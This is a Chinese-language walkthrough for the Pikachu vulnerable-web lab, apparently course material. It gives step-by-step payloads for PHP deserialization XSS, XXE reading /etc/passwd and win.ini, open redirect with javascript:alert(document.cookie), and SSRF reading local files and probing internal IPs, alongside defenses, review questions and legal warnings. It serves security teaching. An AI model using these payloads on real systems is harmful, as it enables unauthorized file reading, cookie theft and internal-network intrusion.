  • 现象:页面上找不到信息 → 原因:按 F12 或 Ctrl+U 查看页面源代码(不是页面显示的内容),重点看 HTML 注释里的账号密码
  • 现象:看了源码还是没有 → 原因:确认入口页面正确(按关卡提示的页面进);注释里藏着测试账号
  • 现象:找到账号但登录不了 → 原因:复制时别带多余空格;确认是靶场的登录账号
🛡 防御视角生产环境不写敏感注释、不上传备份、git clone 部署改为构建产物部署、统一敏感信息扫描(gitleaks 类工具)。
🤔 想一想:真实网站里"敏感信息泄露"最常见的形式有哪些?
答:源码备份文件、git/svn 目录、报错信息暴露路径、API 接口文档未删
入口:http://127.0.0.1/pikachu/vul/unserilization/unser.php
过关标准:构造序列化字符串,触发弹窗
💡 类比故事序列化=把物体打包成"规格说明书"(字符串,方便运输/存储);反序列化=按说明书把物体重新组装。问题在于:组装的过程中(构造方法)会执行代码。如果攻击者能控制说明书内容,就能在"组装"时夹带自己的指令。

原理白话:序列化=把对象存成字符串,反序列化=把字符串变回对象。如果对象创建时(构造方法)会执行代码,而攻击者能控制序列化字符串,就能触发代码执行。

看源码:

class S {
    var $test = "pikachu";
    function __construct() {
        echo $this->test;      // 对象创建即输出
    }
}
$s = unserialize($_GET['s']);  // 直接反序列化用户输入
📋 详细步骤
  1. 访问:http://127.0.0.1/pikachu/vul/unserilization/unser.php?s=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
  2. 弹窗即通关
  3. 解释字符串格式(重点):
  1. 反序列化时 __construct 被触发 → 输出我们伪造的 test → XSS 弹窗

过关标准达成:弹窗。学习要点:长度必须数对,差一个字符就失败——体会"构造 payload 要严谨"。深入一步:真实世界的反序列化 RCE 靠"魔术方法链"(gadget chain),入门阶段了解即可,进阶可深入研究。

🧯 卡住了?对号入座
  • 现象:没弹窗 → 原因:长度数错了。s:29 里的 29 必须等于引号内字符串的实际字符数(<script>alert('xss')</script> 正好 29 个字符)。逐字符数一遍
🛡 防御视角不反序列化用户输入;必须反序列化时用白名单类 + 校验签名。
🤔 想一想:为什么这一关的 payload 长度错了就失败?
答:序列化格式用长度定位字段,长度错位整个结构解析失败
入口:http://127.0.0.1/pikachu/vul/xxe/xxe_1.php
过关标准:提交恶意 XML 后,页面回显系统文件内容
💡 类比故事XML 是种数据格式(和 HTML 长得像)。应用解析你提交的 XML 时,如果允许"外部实体",你可以在 XML 里声明"这里的内容,去读 C 盘那个文件"——解析器会乖乖去读并回显。XML 不只传数据,还能"指使"解析器干活。

原理白话:应用解析用户提交的 XML 时,如果允许"外部实体",攻击者可以用 <!ENTITY> 声明实体引用任意文件/URL,XML 解析器会乖乖去读取并回显。

📋 详细步骤
  1. 页面表单输入恶意 XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

(解释:<!ENTITY xxe SYSTEM "file:///etc/passwd"> 声明了一个叫 xxe 的实体,指向系统文件;<foo>&xxe;</foo> 引用它 → 解析器读文件并放进来)

  1. 提交 → 解析结果里出现 /etc/passwd 内容(macOS)
  2. Windows 版本把实体改为:SYSTEM "file:///c:/windows/win.ini"
  3. 进阶:读靶场配置 file:///D:/phpstudy_pro/WWW/pikachu/inc/config.inc.php(按实际路径)

过关标准达成:任意本地文件被读出。

🧯 卡住了?对号入座
  • 现象:实体没回显 → 原因:①DOCTYPE 声明位置和格式要对(在根元素前);②看响应里实体被展开的位置
  • 现象:报"外部实体加载失败" → 原因:若 PHP/libxml 已禁用外部实体则本关打不出(PHPStudy 的 PHP 5.6 默认可);先排除 XML 语法错误
  • 现象:file:// 读不到文件 → 原因:Windows 下路径写 file:///C:/Windows/win.ini(三个斜杠);Linux 用 /etc/passwd
🛡 防御视角禁止外部实体加载(libxml 中 libxml_disable_entity_loader(true),或用 JSON 替代 XML)。
🤔 想一想:XXE 和 SSRF 有什么联系?
答:外部实体可以指向内网 URL,让服务器代理访问内网——XXE 常作为 SSRF 的载体
入口:http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.php
过关标准:改 url 参数实现任意跳转
💡 类比故事网站有个"中转站":点链接先到官网的跳转接口,再被送到目标页。这个接口不检查目标地址——攻击者把目标改成钓鱼站,用户看到链接开头是官网域名就放松了警惕,点进去却是假网站。"官方域名 + 跳转参数 = 看起来可信的钓鱼链接",是钓鱼的核心帮凶。

原理白话:跳转接口信任用户传的目标地址,跳转到钓鱼站点时用户毫无防备(地址栏一开始是可信域名)。

📋 详细步骤
  1. 页面上点链接 → 跳转目标由 ?url= 参数控制(先正常点一次看流程)
  2. 改成:?url=https://www.baidu.com → 跳到百度(证明任意跳转成立)
  3. 危险演示:?url=javascript:alert(document.cookie) → 部分浏览器直接执行 JS

过关标准达成:任意跳转成立。

🧯 卡住了?对号入座
  • 现象:改了 url 参数没跳转 → 原因:①确认参数名是 url;②改完要点页面上的"跳转"按钮/链接才会触发
  • 现象:跳转被浏览器拦 → 原因:用完整 URL(http://www.baidu.com);本地靶场跳外网属正常,浏览器一般不会拦
  • 现象:跳转后不知道算不算通关 → 原因:跳到目标网站即通关,重点是理解"站点做了跳转但没校验目标"的风险
🛡 防御视角跳转目标白名单(只允许本站 URL)+ 拒绝 javascript: 等协议。
🤔 想一想:为什么攻击者不直接发钓鱼链接,要借跳转?
答:借用可信域名增加可信度,绕过邮件/社交平台对陌生域名的告警
SSRF=让服务器替攻击者发请求。类比:攻击者打不进"内网"(比如公司内部系统),但内网里的服务器能访问内网。如果网站的某个功能允许"填一个 URL,我替你访问并显示结果",攻击者就把 URL 填成内网地址——服务器成了攻击者的"内应"。防火墙防外网,SSRF 从内网打内网。

SSRF 内网穿透原理

第 1 关SSRF(curl)

入口:http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php
过关标准:回显靶场"内网信息页"内容
💡 类比故事网站有个"URL 查看"工具:你给个网址,服务器用 curl 访问并把内容回显给你。你填自己电脑的网址 127.0.0.1——注意,这是服务器自己访问自己(服务器和你同一台机器)。填靶场内网信息页,就能看到"只有内网才能看"的内容。

原理白话:页面提供一个"URL 查看"工具,服务器用 curl 请求用户给的 URL 并回显——无任何目标校验。

看源码:

$url = $_GET['url'];
echo curl_exec($ch);   // curl 用户可控的 URL
📋 详细步骤
  1. 输入 http://127.0.0.1/pikachu/ → 正常回显(注意:这是服务器自己访问自己,体会"服务器替你发请求")
  2. 读靶场内网信息页:http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 回显内部信息
📷 练习截图:SSRF 回显内网信息页内容
  1. macOS:file:///etc/passwd 直接读本地文件(curl 支持 file 协议)
  2. 了解内网探测思路:把 127.0.0.1 换成内网 IP 段(如 192.168.1.1)逐个探测端口——这就是打内网的入口(真实环境中这才是 SSRF 的完整用法,靶场里了解思路即可)

过关标准达成:内网资源被"借"服务器之手访问。

🧯 卡住了?对号入座
  • 现象:请求没回显 → 原因:url 参数要传完整地址(含 http://);先试 http://127.0.0.1/pikachu 这种靶场自身地址
  • 现象:返回错误/超时 → 原因:目标端口没开服务属正常;本关重点在"服务器替你去访问了内网地址"
  • 现象:读不到内网其他机器 → 原因:靶场在你电脑上,"内网"就是本机各端口;换 127.0.0.1 的其他端口试
🤔 想一想:curl 这关能直接读服务器本机文件吗?
答:curl 默认打 http 协议;要读文件得配合 file:// 或靠下一关 file_get_contents,这正是两关能力的区别
🛡 防御视角URL 白名单 + 禁止内网地址段(127.0.0.0/8、10.0.0.0/8、192.168.0.0/16、169.254.0.0/16)+ 禁止 file/dict/gopher 等协议。

第 2 关SSRF(file_get_contents)

入口:http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php
过关标准:回显内网信息页内容
💡 类比故事同上,只是服务器"替你访问"用的函数换了一个(PHP 的 file_get_contents() 同样支持 URL 和 file 协议)。理解:危险的不是函数,而是"未校验的用户可控 URL"。

原理白话:同上,只是读取函数换成 PHP 的 file_get_contents(),它同样支持 URL 和 file 协议。

📋 详细步骤
  1. ?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 内网信息回显
  2. macOS:?file=file:///etc/passwd → 本地文件读取
  3. 与 curl 版对照,理解"危险的不是函数,而是未校验的用户可控 URL"

过关标准达成:内网访问成立。

🧯 卡住了?对号入座
  • 现象:file:// 协议失败 → 原因:确认 allow_url_fopen 开启;Windows 用 file:///C:/Windows/win.ini,Linux 用 file:///etc/passwd
  • 现象:返回空白 → 原因:文件不存在或路径错;先读一个确定存在的文本文件
  • 现象:http 也不行 → 原因:与 3.15.1 相同,确认 url 参数完整(含协议头)
🛡 防御视角同 3.15.1。
🤔 想一想:SSRF 探测内网端口时,怎么判断端口是否开放?
答:看响应差异——返回内容/响应时间/错误信息不同

每通一关,在 □ 里打钩。建议配合"过关标准"自查,全部打钩后你就是这套靶场的全通选手了。

暴力破解(4 关)

XSS(10 关)

CSRF(3 关)

SQL 注入(10 关)

RCE(2 关)

文件包含(2 关)

文件上传(3 关)

文件下载(1 关)

越权(2 关)

目录遍历(1 关)

敏感信息泄露(1 关)

PHP 反序列化(1 关)

XXE(1 关)

URL 跳转(1 关)

SSRF(2 关)

漏洞类型一句话成因一句话防御
暴力破解无次数限制、验证码失效失败锁定 + 服务端一次性验证码 + token
XSS用户输入进 HTML 未编码输出按上下文编码(htmlspecialchars/JS转义/URL协议白名单)
CSRF浏览器自动带 Cookie + 无来源校验CSRF Token + SameSite + 关键操作二次确认
SQL 注入输入拼进 SQL 语句参数化查询(一切注入的正解)
RCE输入拼进命令/eval白名单 + 禁危险函数 + 最小权限
文件包含文件名参数可控白名单 + 关闭 allow_url_include
文件上传校验可绕过、脚本可执行服务端内容校验 + 上传目录禁执行 + 重命名
文件下载/目录遍历路径参数可控id 映射 + 拒绝 ../
越权只验登录不验归属/角色对象级授权(用 session 身份取数)+ 接口级 RBAC
信息泄露注释/备份/报错藏敏感信息上线前敏感扫描 + 统一错误页
反序列化反序列化用户输入不反序列化不可信输入 / 白名单类
XXEXML 外部实体未禁用禁用 DTD/外部实体
URL 跳转跳转目标未校验域名白名单 + 协议白名单
SSRF服务器代发请求目标未校验URL 白名单 + 禁内网地址/危险协议

暴力破解

  1. 简述验证码绕过(on server)关卡为什么同一个验证码能反复用?(要点:session 未销毁,一次性机制缺失)
  2. token 防爆破关卡的 token 从哪来?为什么爆破工具不能直接重用?(要点:服务端生成、每次刷新、攻击者拿不到新值)
  3. 设计一个登录接口的三个防爆破措施。(要点:锁定/限流/验证码/token 任选三)

XSS

  1. 反射型、存储型、DOM 型三种 XSS 的区别?(要点:是否入库、是否经服务器、危害范围)
  2. 为什么过滤 <script> 关键字防不住 XSS?举两个绕过例子。(要点:img onerror、svg onload、大小写等)
  3. htmlspecialchars 使用正确(ENT_QUOTES)但输出在 href 里,还有风险吗?(要点:javascript: 协议,需协议白名单)
  4. 盲打 XSS 的目标是谁?为什么选择打后台?(要点:管理员权限高、后台防护常被忽视)

CSRF

  1. 用一句话解释 CSRF 为什么能成立?(要点:浏览器自动携带 Cookie,服务器无法区分"本人操作"与"被伪造请求")
  2. GET 改 POST 能防 CSRF 吗?为什么?(要点:不能,POST 也能被自动提交表单伪造)
  3. CSRF Token 为什么攻击者拿不到?(要点:随机生成、同源策略保护、不在攻击者可读处)

SQL 注入

  1. 字符型注入 payload 1' or '1'='1 中每个部分的作用?(要点:闭合、恒真、语法补全)
  2. 报错注入利用了什么机制把数据带出来?(要点:updatexml 等函数参数不合法→报错信息包含数据)
  3. 布尔盲注和时间盲注分别靠什么"信使"传数据?(要点:页面真假差异 / 响应时间)
  4. 宽字节注入为什么能绕过 addslashes?(要点:GBK 多字节吞掉反斜杠)
  5. 为什么参数化查询能防所有 SQL 注入?(要点:语句结构与数据分离,数据不再被解析为代码)

RCE / 文件包含 / 文件上传

  1. 命令注入里 ; & && | 分别是什么作用?(要点:顺序/后台/与/管道)
  2. 图片马为什么直接访问不执行、配合文件包含就执行?(要点:后缀不交 PHP 解释器 vs include 强制解析)
  3. 文件上传的三道正确防线?(要点:服务端内容校验、目录禁执行、重命名存储)

越权 / 信息泄露

  1. 水平越权和垂直越权的区别?(要点:同级别横向 vs 低权限上探高权限)
  2. "前端隐藏按钮"为什么不算权限控制?(要点:前端内容攻击者全可见,必须后端校验)

进阶漏洞

  1. XXE 中的 DTD 和实体是什么?(要点:DTD 定义结构、ENTITY 声明引用,外部实体可指向文件/URL)
  2. SSRF 为什么能突破防火墙?(要点:请求由内网服务器发出,防火墙放行)
  3. PHP 反序列化漏洞的根源是什么?(要点:unserialize 执行魔术方法,数据可控即代码可控)

期末实操考核说明(供参考):随机抽 3 关独立通关(不允许看手册),提交通关报告(截图 + 原理 + 修复建议)。

  1. 只能在本地靶场练习。对任何非授权系统(包括学校官网、同学电脑、云主机)测试漏洞,均可能触犯《刑法》第 285 条(非法侵入计算机信息系统罪)、第 286 条(破坏计算机信息系统罪)和《网络安全法》第 27 条
  2. 练习限 127.0.0.1 和本机局域网靶场;不得把攻击流量发到互联网真实网站
  3. 不传播、不出售攻击工具与手册给非课程同学;通关报告不公开发布
  4. 将来参与 SRC(漏洞赏金)平台时,须遵守平台授权范围,越界即违法
  5. 强调:学习攻击技术是为了防御,安全从业者的第一素质是底线意识
本手册全部 payload 均针对本地 Pikachu 靶场环境,仅用于学习练习。使用时请按实际部署路径/端口微调。

🎯 本模块打完?去「通关打卡表」打钩——进度存账号,换设备不丢。

我爱换客网 · 红队成长之路 | 靶场内容仅供本地环境学习,请勿对未授权目标使用 | 靶场目录 | 返回路线图